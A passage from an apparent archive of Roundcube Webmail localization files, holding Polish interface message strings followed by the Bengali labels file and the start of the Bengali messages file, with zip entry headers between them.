$messages['deletefolderconfirm']  = 'Czy na pewno chcesz usunąć wybrany folder?';
$messages['movefolderconfirm']  = 'Czy na pewno chcesz przenieść ten folder?';
$messages['purgefolderconfirm']  = 'Czy na pewno chcesz usunąć wszystkie wiadomości w tym folderze?';
$messages['contactdeleting'] = 'Usuwanie kontaktów...';
$messages['groupdeleting'] = 'Usuwanie grupy...';
$messages['folderdeleting'] = 'Usuwanie folderu...';
$messages['foldermoving'] = 'Przenoszenie folderu...';
$messages['foldersubscribing'] = 'Subskrybowanie folderu...';
$messages['folderunsubscribing'] = 'Odsubskrybowanie folderu...';
$messages['formincomplete'] = 'Uzupełnij formularz!';
$messages['noemailwarning'] = 'Podaj poprawny adres e-mail!';
$messages['nonamewarning']  = 'Podaj nazwę!';
$messages['nopagesizewarning'] = 'Podaj poprawną wartość!';
$messages['nosenderwarning'] = 'Podaj adres e-mail nadawcy!';
$messages['recipientsadded'] = 'Odbiorcy zostali dodani pomyślnie.';
$messages['norecipientwarning'] = 'Podaj co najmniej jednego odbiorcę!';
$messages['disclosedrecipwarning'] = 'Wszyscy odbiorcy będą widzieć adresy e-mail innych. Aby temu zapobiec i chronić ich prywatność możesz użyć pola Bcc.';
$messages['disclosedreciptitle'] = 'Zbyt wielu publicznych odbiorców';
$messages['nosubjectwarning']  = 'Nie podano tematu wiadomości. Czy chcesz go teraz uzupełnić?';
$messages['nosubjecttitle']  = 'Brak tematu';
$messages['nobodywarning'] = 'Ta wiadomość jest pusta, czy mimo to chcesz ją wysłać?';
$messages['notsentwarning'] = 'Wiadomość została zmieniona i nie została jeszcze wysłana. Czy chcesz porzucić zmiany?';
$messages['restoresavedcomposedata'] = 'Wykryto poprzednio tworzoną ale nie wysłaną wiadomość.\n\nTemat: $subject\nZapisano: $date\n\nCzy przywrócić tą wiadomość?';
$messages['nosearchname'] = 'Podaj nazwę kontaktu lub jego adres e-mail.';
$messages['notuploadedwarning'] = 'Nie wszystkie załączniki zostały pobrane. Poczekaj lub anuluj pobieranie.';
$messages['searchsuccessful'] = 'Liczba znalezionych wiadomości: $nr.';
$messages['contactsearchsuccessful'] = 'Znaleziono $nr kontaktów.';
$messages['searchnomatch'] = 'Nic nie znaleziono.';
$messages['searching'] = 'Wyszukiwanie...';
$messages['checking'] = 'Sprawdzanie...';
$messages['stillsearching'] = 'Dalsze wyszukiwanie...';
$messages['nospellerrors'] = 'Nie znaleziono błędów w pisowni.';
$messages['folderdeleted'] = 'Folder został pomyślnie usunięty.';
$messages['foldersubscribed'] = 'Folder został pomyślnie zasubskrybowany.';
$messages['folderunsubscribed'] = 'Folder został pomyślnie odsubskrybowany.';
$messages['folderpurged'] = 'Folder został pomyślnie opróżniony.';
$messages['folderexpunged'] = 'Folder został pomyślnie uporządkowany.';
$messages['deletedsuccessfully'] = 'Usunięto.';
$messages['converting'] = 'Konwertowanie tekstu...';
$messages['messageopenerror'] = 'Nie udało się pobrać treści wiadomości.';
$messages['filelinkerror'] = 'Dołączanie pliku nie powiodło się.';
$messages['fileuploaderror'] = 'Załączanie pliku nie powiodło się.';
$messages['csvfilemismatch'] = 'Import wielu plików CSV z różnymi definicjami pól nie jest możliwy.';
$messages['filesizeerror'] = 'Plik przekracza maksymalną wielkość $size.';
$messages['filecounterror'] = 'Możesz wysłać tylko $count plików jednocześnie.';
$messages['msgsizeerror'] = 'Załączanie pliku nie powiodło się. Przekroczony maksymalny rozmiar wiadomości ($size).';
$messages['msgsizeerrorfwd'] = 'Maksymalny rozmiar wiadomości ($size) został przekroczony. $num wiadomości nie zostało załączonych.';
$messages['copysuccess'] = 'Pomyślnie skopiowano $nr kontaktów.';
$messages['movesuccess'] = 'Pomyślnie przeniesiono $nr kontaktów.';
$messages['copyerror'] = 'Nie udało się skopiować żadnego kontaktu.';
$messages['moveerror'] = 'Nie udało się przenieść żadnego kontaktu.';
$messages['sourceisreadonly'] = 'Źródło adresu jest tylko do odczytu.';
$messages['errorsavingcontact'] = 'Nie można było zapisać adresu kontaktu.';
$messages['movingmessage'] = 'Przenoszenie wiadomości...';
$messages['copyingmessage'] = 'Kopiowanie wiadomości...';
$messages['copyingcontact'] = 'Kopiowanie kontaktów...';
$messages['movingcontact'] = 'Przenoszenie kontaktów...';
$messages['deletingmessage'] = 'Usuwanie wiadomości...';
$messages['markingmessage'] = 'Oznaczanie wiadomości...';
$messages['addingmember'] = 'Dodawanie kontaktów do grupy...';
$messages['removingmember'] = 'Usuwanie kontaktów z grupy...';
$messages['receiptsent'] = 'Pomyślnie wysłano potwierdzenie dostarczenia.';
$messages['errorsendingreceipt'] = 'Nie można wysłać potwierdzenia.';
$messages['deleteidentityconfirm'] = 'Czy na pewno chcesz usunąć tą tożsamość?';
$messages['nodeletelastidentity'] = 'Nie można skasować tej tożsamości, ponieważ jest ostatnią.';
$messages['forbiddencharacter'] = 'Nazwa folderu zawiera niedozwolony znak.';
$messages['selectimportfile'] = 'Proszę wybrać plik do wysłania.';
$messages['addresswriterror'] = 'Wybrana książka adresowa jest tylko-do-odczytu.';
$messages['contactaddedtogroup'] = 'Kontakty zostały pomyślnie dodane do grupy.';
$messages['contactremovedfromgroup'] = 'Kontakty zostały pomyślnie usunięte z grupy.';
$messages['nogroupassignmentschanged'] = 'Nie zmieniono żadnych powiązań z grupą.';
$messages['importwait'] = 'Importowanie, proszę czekać...';
$messages['importformaterror'] = 'Import nieudany! Użyty plik nie jest poprawnym plikiem importu danych.';
$messages['importconfirm'] = '<b>Pomyślnie dodano $inserted kontaktów.</b>';
$messages['importconfirmskipped'] = '<b>Pominięto $skipped istniejących wpisów.</b>';
$messages['importmessagesuccess'] = 'Pomyślnie zaimportowano następującą liczbę wiadomości: $nr';
$messages['importmessageerror'] = 'Import nieudany! Wgrywany plik nie jest poprawną wiadomością lub plikiem skrzynki pocztowej';
$messages['opnotpermitted'] = 'Niedozwolona operacja!';
$messages['nofromaddress'] = 'Brak adresu e-mail w wybranej tożsamości.';
$messages['editorwarning'] = 'Zmiana typu editora może spowodować utratę formatowania. Czy chcesz kontynuować?';
$messages['httpreceivedencrypterror'] = 'Wystąpił błąd krytyczny. Skontaktuj się z administratorem. <b>Nie można wysłać wiadomości.</b>';
$messages['smtpconnerror'] = 'Błąd SMTP ($code): Nie można nawiązać połączenia z serwerem.';
$messages['smtpautherror'] = 'Błąd SMTP ($code): Uwierzytelnianie nie powiodło się.';
$messages['smtpfromerror'] = 'Błąd SMTP ($code): Nie można ustawić nadawcy "$from" ($msg).';
$messages['smtptoerror'] = 'Błąd SMTP ($code): Nie można dodać odbiorcy "$to" ($msg).';
$messages['smtprecipientserror'] = 'Błąd SMTP: Parsowanie listy odbiorców nie powiodło się.';
$messages['smtputf8error'] = 'Błąd SMTP: Serwer nie obsługuje znaków Unicode w adresach email.';
$messages['smtpsizeerror'] = 'Błąd SMTP: Rozmiar wiadomości przekracza limit ($limit)';
$messages['smtperror'] = 'Błąd SMTP: $msg';
$messages['emailformaterror'] = 'Błędny adres e-mail: $email';
$messages['toomanyrecipients'] = 'Zbyt wielu odbiorców. Zmniejsz ich liczbę do $max.';
$messages['maxgroupmembersreached'] = 'Liczba członków grupy nie może być większa niż $max.';
$messages['internalerror'] = 'Wystąpił wewnętrzny błąd systemu. Spróbuj jeszcze raz.';
$messages['contactdelerror'] = 'Usuwanie kontaktów nie powiodło się.';
$messages['contactdeleted'] = 'Kontakt(y) został(y) usunięte.';
$messages['contactrestoreerror'] = 'Przywracanie kontaktów nie powiodło się.';
$messages['contactrestored'] = 'Kontakt(y) zostały przywrócone.';
$messages['groupdeleted'] = 'Grupa została usunięta.';
$messages['grouprenamed'] = 'Nazwa grupy została zmieniona.';
$messages['groupcreated'] = 'Grupa została utworzona.';
$messages['savedsearchdeleted'] = 'Wyszukiwanie usunięto pomyślnie.';
$messages['savedsearchdeleteerror'] = 'Nie można usunąć wyszukiwania.';
$messages['savedsearchcreated'] = 'Wyszukiwanie zapisano pomyślnie.';
$messages['savedsearchcreateerror'] = 'Nie można zapisać wyszukiwania.';
$messages['messagedeleted'] = 'Wiadomości zostały usunięte.';
$messages['messagemoved'] = 'Wiadomości zostały przeniesione.';
$messages['messagemovedtotrash'] = 'Wiadomości zostały przeniesione do Kosza.';
$messages['messagecopied'] = 'Wiadomości zostały skopiowane.';
$messages['messagemarked'] = 'Wiadomości zostały oznaczone.';
$messages['autocompletechars'] = 'Wprowadź co najmniej $min znak(ów) aby skorzystać z autouzupełniania.';
$messages['autocompletemore'] = 'Znaleziono więcej pasujących wpisów. Wprowadź więcej znaków.';
$messages['namecannotbeempty'] = 'Nazwa nie może być pusta.';
$messages['nametoolong'] = 'Nazwa jest zbyt długa.';
$messages['namedotforbidden'] = 'Nazwa folderu nie może rozpoczynać się od kropki.';
$messages['folderupdated'] = 'Folder został pomyślnie zaktualizowany.';
$messages['foldercreated'] = 'Folder został pomyślnie utworzony.';
$messages['invalidimageformat'] = 'Niepoprawny format obrazka.';
$messages['mispellingsfound'] = 'Wykryto błędy pisowni w tej wiadomości.';
$messages['parentnotwritable'] = 'Nie można utworzyć/przenieść folderu w wybrane miejsce. Brak upranień.';
$messages['messagetoobig'] = 'Ta część wiadomości jest zbyt duża aby ją przetworzyć.';
$messages['attachmentvalidationerror'] = 'UWAGA! Ten załącznik jest podejrzany ponieważ jego typ nie jest zgodny z typem zadeklarownym w wiadomości. Jeśli nie ufasz temu nadawcy nie powinieneś otwierać go w przeglądarce, gdyż może zawierać złośliwe oprogramowanie.<br/><br/><em>Zadeklarowano: $expected; wykryto: $detected</em>';
$messages['noscriptwarning'] = 'Uwaga: Usługa wymaga Javascriptu! Aby z niej skorzystać proszę włączyć obsługę języka Javascript w ustawieniach przeglądarki.';
$messages['messageissent'] = 'Wiadomość została już wysłana, jednak nie została zapisana. Czy chcesz ją zapisać teraz?';
$messages['errnotfound'] = 'Nie znaleziono pliku';
$messages['errnotfoundexplain'] = 'Żądany zasób nie został odnaleziony!';
$messages['errfailedrequest'] = 'Błędne żądanie';
$messages['errauthorizationfailed'] = 'Błąd autoryzacji';
$messages['errunauthorizedexplain'] = 'Nie można zweryfikować czy jesteś upoważniony do dostępu dla tej usługi!';
$messages['errrequestcheckfailed'] = 'Sprawdzanie żądania nie powiodło się';
$messages['errcsrfprotectionexplain'] = "Dla twojego bezpieczeństwa, dostęp do tego zasobu jest zabezpieczony przeciw atakom typu CSRF.\nJeśli widzisz ten komunikat, prawdopodobnie nie wylogowałeś się przed opuszczeniem aplikacji.\n\nTwoje działanie jest wymagane aby kontynuować.";
$messages['errcontactserveradmin'] = 'Skontaktuj się z administratorem serwera.';
$messages['clicktoresumesession'] = 'Kliknij tutaj aby przywrócić poprzednią sesję';
$messages['errcomposesession'] = 'Błąd sesji tworzenia';
$messages['errcomposesessionexplain'] = 'Wywoływana sesja nie została odnaleziona';
$messages['clicktocompose'] = 'Kliknij tutaj aby stworzyć nową wiadomość';
$messages['nosupporterror'] = 'Ta funkcja nie jest obsługiwana w twojej przeglądarce.';
$messages['siginserted'] = 'Podpis został dodany pomyślnie.';
$messages['responseinserted'] = 'Odpowiedź została dodana pomyślnie.';
$messages['noresponsesavailable'] = 'Brak odpowiedzi';
$messages['listempty'] = 'Lista jest pusta.';
$messages['listusebutton'] = 'Aby dodać nowy wpis użyj przycisk Utwórz.';
$messages['keypaircreatesuccess'] = 'Pomyślnie utworzono parę kluczy dla $identity.';
$messages['emptyattachment'] = 'Wybrany załącznik wygląda na pusty.<br>Zweryfikuj to z nadawcą wiadomości.';
$messages['oauthloginfailed'] = 'Nieudane logowanie OAuth, Spróbuj ponownie.';
PK
h�\�QDpCpC%program/localization/bn_BD/labels.incnu�[���<?php

/*
 +-----------------------------------------------------------------------+
 | Localization file of the Roundcube Webmail client                     |
 |                                                                       |
 | Copyright (C) The Roundcube Dev Team                                  |
 |                                                                       |
 | Licensed under the GNU General Public License version 3 or            |
 | any later version with exceptions for skins & plugins.                |
 | See the README file for a full license statement.                     |
 +-----------------------------------------------------------------------+

 For translation see https://www.transifex.com/projects/p/roundcube-webmail/resource/labels/
*/


$labels['welcome'] = 'স্বাগতম';
$labels['username'] = 'গ্রাহক নাম (username)';
$labels['password'] = 'গোপোন শব্দ (password)';
$labels['server'] = 'সারভার';
$labels['login'] = 'প্রবেশ';
$labels['logout'] = 'প্রস্থান';
$labels['mail'] = 'ই-মেইল';
$labels['settings'] = 'ব্যাক্তিগত খুটিনাটি';
$labels['addressbook'] = 'ঠিকানার বই';
$labels['inbox'] = 'প্রধান বাক্স';
$labels['drafts'] = 'খসড়া';
$labels['sent'] = 'প্রেরিত(পাঠানো মেইল)';
$labels['trash'] = 'ডাস্টবিন';
$labels['junk'] = 'আজেবাজে মেইল';
$labels['subject'] = 'বিষয়';
$labels['from'] = 'প্রেরক';
$labels['sender'] = 'প্রেরক';
$labels['to'] = 'প্রাপক';
$labels['cc'] = 'অনুলিপির ঠিকানা';
$labels['bcc'] = 'নাজানিয়ে অনুলিপির ঠিকানা';
$labels['replyto'] = 'উত্তর পাঠানোর ঠিকানা';
$labels['date'] = 'তারিখ';
$labels['size'] = 'সাইজ';
$labels['priority'] = 'গুরুত্ব';
$labels['organization'] = 'কোম্পানি';
$labels['mailboxlist'] = 'ফোল্ডার/মেইলবক্স';
$labels['messagesfromto'] = '$count মেইলের মধ্যে, $from হতে $to দেখানো হচ্ছে';
$labels['messagenrof'] = '$nr #মেইল/চিঠি , $count এর মধ্যে';
$labels['copy'] = 'অনুলিপির ঠিকানা';
$labels['move'] = 'স্থানান্তর';
$labels['moveto'] = 'সরিয়ে ফেলুন..';
$labels['download'] = 'ডাউনলোড';
$labels['open'] = 'খোলা';
$labels['showattachment'] = 'দেখানো';
$labels['filename'] = 'ফাইলের নাম';
$labels['filesize'] = 'ফাইলের সাইজ';
$labels['addtoaddressbook'] = 'ঠিকানার বইতে ঢুকান';
$labels['sun'] = 'রবি';
$labels['mon'] = 'সোম';
$labels['tue'] = 'মঙ্গল';
$labels['wed'] = 'বুধ';
$labels['thu'] = 'বৃহ:';
$labels['fri'] = 'শুক্র';
$labels['sat'] = 'শনি';
$labels['sunday'] = 'রবিবার';
$labels['monday'] = 'সোমবার';
$labels['tuesday'] = 'মঙ্গলবার';
$labels['wednesday'] = 'বুধবার';
$labels['thursday'] = 'বৃহস্পতিবার';
$labels['friday'] = 'শুক্রবার';
$labels['saturday'] = 'শনিবার';
$labels['jan'] = 'জানুয়ারি';
$labels['feb'] = 'ফেব্রুয়ারি';
$labels['mar'] = 'মার্চ';
$labels['apr'] = 'এপ্রিল';
$labels['may'] = 'মে';
$labels['jun'] = 'জুন';
$labels['jul'] = 'জুলাই';
$labels['aug'] = 'আগস্ট';
$labels['sep'] = 'সেপ্তেমবার';
$labels['oct'] = 'অষ্টবার';
$labels['nov'] = 'নবেমবার';
$labels['dec'] = 'দিশেমবার';
$labels['longjan'] = 'জানুয়ারি';
$labels['longfeb'] = 'ফেব্রুয়ারি';
$labels['longmar'] = 'মার্চ';
$labels['longapr'] = 'এপ্রিল';
$labels['longmay'] = 'মে';
$labels['longjun'] = 'জুন';
$labels['longjul'] = 'জুলাই';
$labels['longaug'] = 'আগস্ট';
$labels['longsep'] = 'সেপ্তেমবার (September)';
$labels['longoct'] = 'অষ্টবার (October)';
$labels['longnov'] = 'নবেমবার (November)';
$labels['longdec'] = 'দিশেমবার (December)';
$labels['today'] = 'আজকে';
$labels['checkmail'] = 'দেখুন নতুন কোনো মেইল/চিঠি এলো কিনা';
$labels['compose'] = 'নতুন মেইল/চিঠি লিখুন';
$labels['writenewmessage'] = 'নতুন মেইল/চিঠি লিখুন';
$labels['reply'] = 'জবাব';
$labels['replytomessage'] = 'শুধু প্রেরকের কাছে উত্তর পাঠান';
$labels['replytoallmessage'] = 'প্রেরক ও এই চিঠির অন্যান্য প্রাপকদের কাছে উত্তর পাঠান';
$labels['forwardmessage'] = 'মেইল/চিঠি এগিয়ে দিন';
$labels['deletemessage'] = 'মেইল/চিঠি ছিড়ে ফেলুন';
$labels['movemessagetotrash'] = 'মেইল/চিঠি ডাস্টবিনে ফেলুন';
$labels['printmessage'] = 'মেইল/চিঠি প্রিন্ট করুন';
$labels['previousmessage'] = 'আগের মেইল/চিঠিটি দেখুন';
$labels['firstmessage'] = 'প্রথম মেইল/চিঠিটি দেখুন';
$labels['nextmessage'] = 'পরের মেইল/চিঠিটি দেখুন';
$labels['lastmessage'] = 'শেষ মেইল/চিঠিটি দেখুন';
$labels['backtolist'] = 'মেইল/চিঠির তালিকায় ফিরে যান';
$labels['viewsource'] = 'মূল উৎসদেখুন';
$labels['mark'] = 'দাগানো';
$labels['markmessages'] = 'মেইল/চিঠি (গুলো)';
$labels['markread'] = 'পড়া শেষ (read)';
$labels['markunread'] = 'নাদেখা (unread)';
$labels['markflagged'] = 'দাগানো (flagged)';
$labels['markunflagged'] = 'দাগহীন (unflagged)';
$labels['more'] = 'আরো';
$labels['first'] = 'প্রথম';
$labels['last'] = 'শেষ';
$labels['previous'] = 'পূর্ববর্তী';
$labels['next'] = 'পরবর্তী';
$labels['select'] = 'বেছেনিন';
$labels['all'] = 'সবগুলো';
$labels['none'] = 'কোনোটাই না';
$labels['isread'] = 'পড়';
$labels['unread'] = 'নাদেখা (unread)';
$labels['flagged'] = 'দাগানো (flagged)';
$labels['unanswered'] = 'উত্তর না দেওয়া গুলো';
$labels['filter'] = 'ছাকনি';
$labels['list'] = 'তালিকা';
$labels['nonesort'] = 'কোনোটাই না';
$labels['layoutlist'] = 'তালিকা';
$labels['compact'] = 'টাইটকরুন';
$labels['empty'] = 'খালিকরুন';
$labels['quota'] = 'ডিস্ক এ খালি যায়গা';
$labels['unknown'] = 'অজানা';
$labels['unlimited'] = 'সীমাহীন';
$labels['quicksearch'] = 'ঝটকরে খোজা';
$labels['resetsearch'] = 'নতুনকরে খুজুন';
$labels['openinextwin'] = 'নতুন উইন্ডো তে দেখুন';
$labels['sendmessage'] = 'এখুনি মেইল / চিঠিটি পাঠান';
$labels['savemessage'] = 'খসড়া হিসাবে জমা করে রাখুন';
$labels['addattachment'] = 'একটা ফাইল জুড়ে দিন চিঠির সাথে';
$labels['charset'] = 'Charset';
$labels['editortype'] = 'Editor type';
$labels['returnreceipt'] = 'ফিরতি রসিদ';
$labels['checkspelling'] = 'Check spelling';
$labels['resumeediting'] = 'Resume editing';
$labels['revertto'] = 'Revert to';
$labels['attachments'] = 'জুড়ে দেওয়া ফাইল (Attachments)';
$labels['upload'] = 'উঠায় দেন';
$labels['close'] = 'বন্ধ করুন';
$labels['low'] = 'Low';
$labels['lowest'] = 'Lowest';
$labels['normal'] = 'Normal';
$labels['high'] = 'High';
$labels['highest'] = 'Highest';
$labels['nosubject'] = '(বিষয়হীন)';
$labels['showimages'] = 'ছবি দেখান';
$labels['alwaysshow'] = 'সবসময় $sender এর কাছে থেকে পাওয়া ছবিগুলো দেখানো হোক';
$labels['htmltoggle'] = 'HTML';
$labels['plaintoggle'] = 'খালি লেখা দেখুন';
$labels['savesentmessagein'] = 'পাঠানো চিঠি/মেইল জমা করুন >>';
$labels['dontsave'] = 'জমিয়ে রাখা লাগবে না';
$labels['maxuploadsize'] = 'ফাইল উঠানোর সর্বোচ্চ সাইজ $size';
$labels['addcc'] = 'অনুলিপির ঠিকানা ঢুকান';
$labels['addbcc'] = 'নাজানিয়ে অনুলিপির ঠিকানা ঢুকান';
$labels['addreplyto'] = 'উত্তর পাঠানোর ঠিকানা ঢুকান';
$labels['mdnrequest'] = 'প্রাপক আপনার কাছে মেইল/চিঠিটা যে পেয়েছেন তার ফিরতি রসিদ চেয়েছেন। আপনি কি ফিরতি রসিদ টা পাঠাবেন?';
$labels['receiptread'] = 'মেইল/চিঠি যে পেয়েছেন তার ফিরতি রসিদ';
$labels['yourmessage'] = 'নিচে রয়েছে আপনার চিঠিটা যে প্রাপক পেয়েছেন তার রসিদ';
$labels['receiptnote'] = 'এই রসিদ খালি এতটুকু প্রমান করে যে প্রাপক চিঠিটি পেয়েছেন। কিন্তু তিনি ঠিকমতো পড়তে পেরেছেন কিনা অথবা তিনি পড়ে বুঝতে পেরেছেন কিনা তার কোনো প্রমান নেই।';
$labels['name'] = 'নাম';
$labels['firstname'] = 'নামের প্রথমাংশ';
$labels['surname'] = 'নামের শেষাংশ';
$labels['email'] = 'ই-মেইল/চিঠি';
$labels['editcontact'] = 'একটা ঠিকানা বদলান';
$labels['edit'] = 'বদলান';
$labels['cancel'] = 'বাতিল';
$labels['save'] = 'জমা দিন';
$labels['delete'] = 'ফেলে দিন';
$labels['deletecontact'] = 'বেছে নেওয়া ঠিকানা গুলো ফেলে দিন';
$labels['composeto'] = 'চিঠি পাঠাবেন কার কাছে?';
$labels['contactsfromto'] = '$count ঠিকানার মধ্যে $from থেকে $to টা';
$labels['print'] = 'প্রিন্ট করুন';
$labels['export'] = 'রপ্তানি করুন';
$labels['exportvcards'] = 'রপ্তানি করুন vCard আকারে';
$labels['previouspage'] = 'আগের গুলো দেখান';
$labels['firstpage'] = 'প্রথম গুলো দেখান';
$labels['nextpage'] = 'পরের গুলো দেখান';
$labels['lastpage'] = 'শেষের গুলো দেখান';
$labels['groups'] = 'গ্রুপ';
$labels['personaladrbook'] = 'নিজের ঠিকানা';
$labels['import'] = 'আমদানি করুন';
$labels['importcontacts'] = 'ঠিকানা আমদানি করুন';
$labels['importreplace'] = 'পুরো ঠিকানার বইটি খালি করে নতুন ঠিকানা গুলো ভরুন';
$labels['done'] = 'শেষ';
$labels['settingsfor'] = 'খুটিনাটি';
$labels['preferences'] = 'পছন্দ';
$labels['userpreferences'] = 'গ্রাহক পছন্দ';
$labels['editpreferences'] = 'গ্রাহক পছন্দ বদলান';
$labels['identities'] = 'পরিচিতি';
$labels['preferhtml'] = 'HTML এ দেখি';
$labels['htmlmessage'] = 'HTML মেইল/চিঠি';
$labels['prettydate'] = 'তারিখ ভালো করে দেখা যাবে';
$labels['setdefault'] = 'এইটাই আসল';
$labels['autodetect'] = 'কম্পুটার নিজেনিজি বেছে নেবে';
$labels['language'] = 'ভাষা';
$labels['timezone'] = 'সময়ভিত্তিক এলাকা';
$labels['pagesize'] = 'প্রতি পৃষ্ঠায় লাইন সংখ্যা';
$labels['signature'] = 'স্বাক্ষর';
$labels['dstactive'] = 'Daylight saving time';
$labels['htmleditor'] = 'HTML এ মেইল/চিঠি লিখুন';
$labels['htmlsignature'] = 'HTML এ স্বাক্ষর';
$labels['previewpane'] = 'ছোটোকরে দেখার জায়গা';
$labels['skin'] = 'মেইলবক্স এর পুরোটার চেহারা';
$labels['logoutclear'] = 'বেরহবার সময় ডাস্টবিন অটোমেটিক খালি হবে';
$labels['logoutcompact'] = 'বেরহবার সময় প্রধান বাক্স অটোমেটিক টাইট হবে';
$labels['uisettings'] = 'কম্পুটারের চেহারা';
$labels['serversettings'] = 'সারভার এর খুটিনাটি';
$labels['mailboxview'] = 'মেইলবক্স দেখার কায়দা';
$labels['mdnrequests'] = 'প্রেরক নোটিশ পাঠালে কি করা হবে?';
$labels['askuser'] = 'আমি গ্রাহক, আমাকে জিজ্ঞাসা করুন';
$labels['autosend'] = 'কম্পুটার নিজেনিজি ফিরতি নোটিশ পাঠায় দেবে';
$labels['readwhendeleted'] = 'ফেলে দেবার সময় মেইল/চিঠি পড়া হয়ে গেছে হিসাবে ধরে নেওয়া হবে';
$labels['flagfordeletion'] = 'একেবারেই ফেলে না দিয়ে মেইল/চিঠি গুলোকে দাগিয়ে রাখুন ফেলে দেবার জন্যে';
$labels['skipdeleted'] = 'ফেলে দেওয়া মেইল/চিঠি দেখানোর দরকার নেই';
$labels['showremoteimages'] = 'মেইলে অন্য ওয়েবসাইট থেকে আসা ছবি থাকলে তা দেখা যাবে';
$labels['fromknownsenders'] = 'পরিচিত প্রেরক এর ক্ষেত্রে';
$labels['always'] = 'সবসময়';
$labels['showinlineimages'] = 'মেইলের সাথে জোড়া লাগানো ছবি, মেইলের নিচে দেখা যাবে';
$labels['autosavedraft'] = 'নিজেনিজি খসড়া জমা হয়ে যাবে';
$labels['everynminutes'] = 'প্রতি $n মিনিটে';
$labels['never'] = 'কখোনোই না';
$labels['messagesdisplaying'] = 'মেইল/চিঠি দেখা যাচ্ছে';
$labels['messagescomposition'] = 'মেইল/চিঠি লেখা হচ্ছে';
$labels['mimeparamfolding'] = 'জুড়ে দেওয়া জিনিষের নাম';
$labels['2231folding'] = 'Full RFC 2231 (Thunderbird)';
$labels['miscfolding'] = 'RFC 2047/2231 (MS Outlook)';
$labels['2047folding'] = 'Full RFC 2047 (other)';
$labels['advancedoptions'] = 'জটিল বিষয়';
$labels['focusonnewmessage'] = 'নতুন মেইল এলেই তা হাইলাইট হয়ে যাবে';
$labels['checkallfolders'] = 'সবগুলো মেইলবক্সে নতুন চিঠি খোজা হবে';
$labels['folder'] = 'ফোল্ডার/মেইলবক্স';
$labels['folders'] = 'ফোল্ডার/মেইলবক্স';
$labels['foldername'] = 'ফোল্ডার/মেইলবক্স এর নাম';
$labels['subscribed'] = 'গ্রহনকারি';
$labels['messagecount'] = 'মেইল/চিঠি';
$labels['create'] = 'প্রস্তুত করুন';
$labels['createfolder'] = 'নতুন ফোল্ডার / মেইলবক্স প্রস্তুত করুন';
$labels['managefolders'] = 'ফোল্ডার/মেইলবক্স গুলো কে গুছান';
$labels['specialfolders'] = 'বিশেষ ফোল্ডার/মেইলবক্স';
$labels['sortby'] = 'সাজান';
$labels['sortasc'] = 'কম থেকে বেশি হিসাবে সাজান';
$labels['sortdesc'] = 'বেশি থেকে কম হিসাবে সাজান';
$labels['B'] = 'বাইট';
$labels['KB'] = 'কিলোবাইট';
$labels['MB'] = 'মেগাবাইট';
$labels['GB'] = 'গিগাবাইট';
PK
h�\c�'program/localization/bn_BD/messages.incnu�[���<?php

/*
 +-----------------------------------------------------------------------+
 | Localization file of the Roundcube Webmail client                     |
 |                                                                       |
 | Copyright (C) The Roundcube Dev Team                                  |
 |                                                                       |
 | Licensed under the GNU General Public License version 3 or            |
 | any later version with exceptions for skins & plugins.                |
 | See the README file for a full license statement.                     |
 +-----------------------------------------------------------------------+

 For translation see https://www.transifex.com/projects/p/roundcube-webmail/resource/messages/
*/

$messages['loginfailed']  = 'ঢোকা গেল না';
$messages['cookiesdisabled'] = 'আপনার ব্রাউজার, কুকি গ্রহন করে না';
$messages['sessionerror'] = 'আপনার সেশন শেষ';
$messages['storageerror'] = 'মেইল সারভার এর সাথে যোগাযোগ করা গেল না';
$messages['nomessagesfound'] = 'এই মেইলবক্সে কোনো চিঠি নাই';
$messages['loading'] = 'কম্পুটার কাজ করতেছে . .';
$messages['loadingdata'] = 'কম্পুটার তথ্য আনছে আপনার জন্য..';
$messages['checkingmail'] = 'নতুন চিঠি আসছে কিনা তা দেখা হচ্ছে';
$messages['sendingmessage'] = 'চিঠি পাঠায় দেওয়া হচ্ছে';
$messages['messagesent'] = 'চিঠি ঠিকঠাকমতো পাঠানো শেষ';
$messages['savingmessage'] = 'চিঠি জমা করে রাখা হচ্ছে';
$messages['messagesaved'] = 'চিঠি খসড়া হিসাবে জমা করে রাখা হয়েছে';
$messages['successfullysaved'] = 'ঠিকঠাকমতো জমা হয়ে গিয়েছে';
$messages['addedsuccessfully'] = 'নতুন ঠিকানা ঠিকঠাক মতো ঢোকানো হয়ে গেছে';
$messages['blockedimages'] = 'আপনার গোপনীয়তা রক্ষার জন্য আমরা ছবি গুলো সরিয়ে রেখেছি';
$messages['encryptedmessage'] = 'এটা একটি গোপন (encrypted) চিঠি। এটা আপনাকে দেখানো যাবে না। দু্ঃখিত।';
$messages['nocontactsfound'] = 'কোনো ঠিকানা পাওয়া গেলনা। দু্ঃখিত।';
$messages['contactnotfound'] = 'আপনি যে ঠিকানা খুজছেন সেটা পাওয়া গেল না';
$messages['sendingfailed'] = 'চিঠি পাঠানো গেলনা';
$messages['senttooquickly'] = 'এই চিঠি পাঠানোর আগে, দয়া করে $sec সেকেন্ড';
$messages['errormoving'] = 'চিঠিটা সরানো গেলো না';
$messages['errordeleting'] = 'চিঠিটা ফেলানো গেলো না';
$messages['deletecontactconfirm']  = 'আপনি কি আসলেই এই ঠিকানা(গুলো) ফেলো দিতে চান?';
$messages['deletemessagesconfirm'] = 'আপনি কি আসলেই এই চিঠি(গুলো) ফেলো দিতে চান?';
$messages['deletefolderconfirm']  = 'আপনি কি আসলেই এই ফোল্ডার/মেইলবক্স ফেলো দিতে চান?';
$messages['purgefolderconfirm']  = 'আপনি কি আসলেই এই ফোল্ডার/মেইলবক্স এর সব চিঠি ফেলো দিতে চান?';
$messages['folderdeleting'] = 'ফোল্ডার/মেইলবক্স ফেলে দেওয়া হচ্ছে';
$messages['foldermoving'] = 'ফোল্ডার/মেইলবক্স সরানো হচ্ছে';
$messages['formincomplete'] = 'আপনি সবগুলো জিনিষ লেখেননি';
$messages['noemailwarning'] = 'একটি সঠিক ই-মেইল লিখুন';
$messages['nonamewarning']  = 'দয়া করে নামটি লিখুন';
$messages['nopagesizewarning'] = 'দয়া করে পৃষ্ঠার সাইজটি লিখুন';
$messages['norecipientwarning'] = 'দয়া করে একজন প্রাপক এর ই-মেইলটা লিখুন';
$messages['nosubjectwarning']  = 'বিষয় হিসাবে কিছু লেখা হয়নি, আপনি কি কিছু লিখবেন এখন বিষয় হিসাবে?';
$messages['nobodywarning'] = 'কোনো কিছু না লিখেই এই চিঠি পাঠিয়ে দেবেন?';
$messages['nosearchname'] = 'দয়া করে একজনের নাম অথবা ই-মেইল লিখুন';
$messages['searchsuccessful'] = '$nr টা চিঠি পাওয়া গেছে';
$messages['searchnomatch'] = 'খুজে কিছু পাওয়া গেলোনা';
$messages['searching'] = 'খুজছি ....';
